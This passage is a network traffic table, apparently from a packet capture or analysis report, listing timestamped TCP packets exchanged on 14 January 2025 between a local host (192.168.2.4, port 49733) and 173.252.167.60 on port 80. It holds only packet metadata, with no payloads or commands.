Jan 14, 2025 19:17:59.458211899 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.508210897 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.539844036 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.539872885 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.539890051 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.539901972 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.539911985 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.539922953 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.539943933 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.539975882 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.540442944 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.540453911 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.540463924 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.540493011 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.540774107 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.540823936 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.540831089 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.540834904 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.540844917 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.540873051 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.544140100 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.544159889 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.544205904 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.544310093 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.544327974 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.544339895 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.544349909 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.544361115 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.544363976 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.544389009 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.544413090 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.545150042 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.545161963 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.545173883 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.545207024 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.545644045 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.545655966 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.545666933 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.545701027 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.545725107 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.627109051 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627127886 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627139091 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627150059 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627163887 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627175093 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627186060 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627193928 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.627197981 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627208948 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627218962 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627229929 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627242088 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627257109 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.627286911 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.627346992 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627374887 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627386093 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627397060 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627408028 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627418995 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627429962 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.627434015 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.627482891 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.630830050 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.630841017 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.630853891 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.630908966 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.630953074 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.630964041 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.630964041 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.630975008 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631009102 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631180048 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631190062 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631201029 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631227016 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631239891 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631373882 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631386042 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631397009 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631409883 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631421089 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631427050 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631460905 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631875038 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631886005 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631895065 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631906986 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631917953 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631927967 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631932020 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631938934 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631949902 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631954908 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631961107 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.631979942 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.631999969 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.632519007 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.632529974 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.632540941 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.632550955 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.632561922 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.632564068 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.632574081 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.632596016 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.632612944 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.713723898 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713748932 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713761091 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713771105 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713782072 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713792086 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713803053 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713813066 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713823080 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713833094 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713844061 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713855028 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.713851929 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.713937998 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.713938951 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.714035034 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714045048 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714056015 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714088917 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.714124918 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714135885 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714145899 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714178085 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.714195967 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714195967 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.714205980 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714217901 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714226961 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714238882 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714251995 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.714278936 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.714415073 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714432955 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714443922 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714482069 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.714487076 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714498043 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714509010 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.714553118 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.717497110 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717531919 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717540979 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717551947 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717561007 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717612982 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.717639923 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.717657089 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717667103 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717678070 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717710972 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.717777014 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717793941 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717806101 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717825890 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.717854023 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717865944 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.717921972 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.717936993 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718123913 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718133926 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718148947 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718159914 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718169928 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718179941 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.718179941 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718192101 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718199968 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.718203068 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718213081 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718219995 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.718223095 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.718238115 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.718254089 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719405890 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719423056 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719434023 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719472885 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719501972 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719600916 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719618082 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719628096 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719639063 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719649076 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719659090 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719667912 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719669104 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719680071 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719690084 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719691992 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719700098 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719711065 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719711065 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719721079 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719731092 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719732046 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719739914 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.719748020 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719772100 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.719799995 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.720078945 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720196009 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720206022 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720216990 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720227003 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720237017 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720246077 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720251083 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.720256090 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720274925 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.720302105 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.720454931 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720470905 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720482111 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720491886 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720501900 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.720524073 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.720551968 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.760051966 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.760066986 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.760077000 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.760123014 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.760170937 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800256968 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800271034 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800282955 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800328016 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800338984 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800338030 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800348997 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800374985 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800381899 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800393105 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800403118 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800406933 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800431013 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800436974 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800446987 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800457001 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800467968 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800482035 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800509930 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800574064 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800585032 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800595045 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800607920 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800621986 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800636053 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800730944 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800771952 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800781965 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800786972 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.800818920 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800828934 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800839901 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.800860882 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801003933 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801014900 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801024914 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801039934 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801048994 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801064968 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801064968 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801076889 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801085949 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801095963 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801114082 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801142931 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801348925 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801359892 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801369905 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801379919 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801403046 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801430941 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801513910 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801525116 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801533937 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801544905 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801561117 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801563025 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801572084 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801582098 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801585913 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801594019 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801605940 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801616907 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801621914 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801626921 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801637888 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801649094 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.801660061 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801680088 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801708937 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.801882029 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802001953 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802012920 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802030087 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802041054 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802051067 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802052975 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.802062988 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802076101 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802084923 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.802093029 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.802093029 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.802123070 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804126024 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804178953 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804222107 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804231882 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804243088 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804269075 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804277897 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804279089 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804291010 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804306984 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804311991 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804326057 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804336071 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804338932 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804373980 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804425001 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804485083 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804518938 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804527044 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804529905 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804541111 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804555893 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804588079 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.804655075 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804665089 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804676056 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804702044 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.804712057 CET	80	49733	173.252.167.60	192.168.2.4
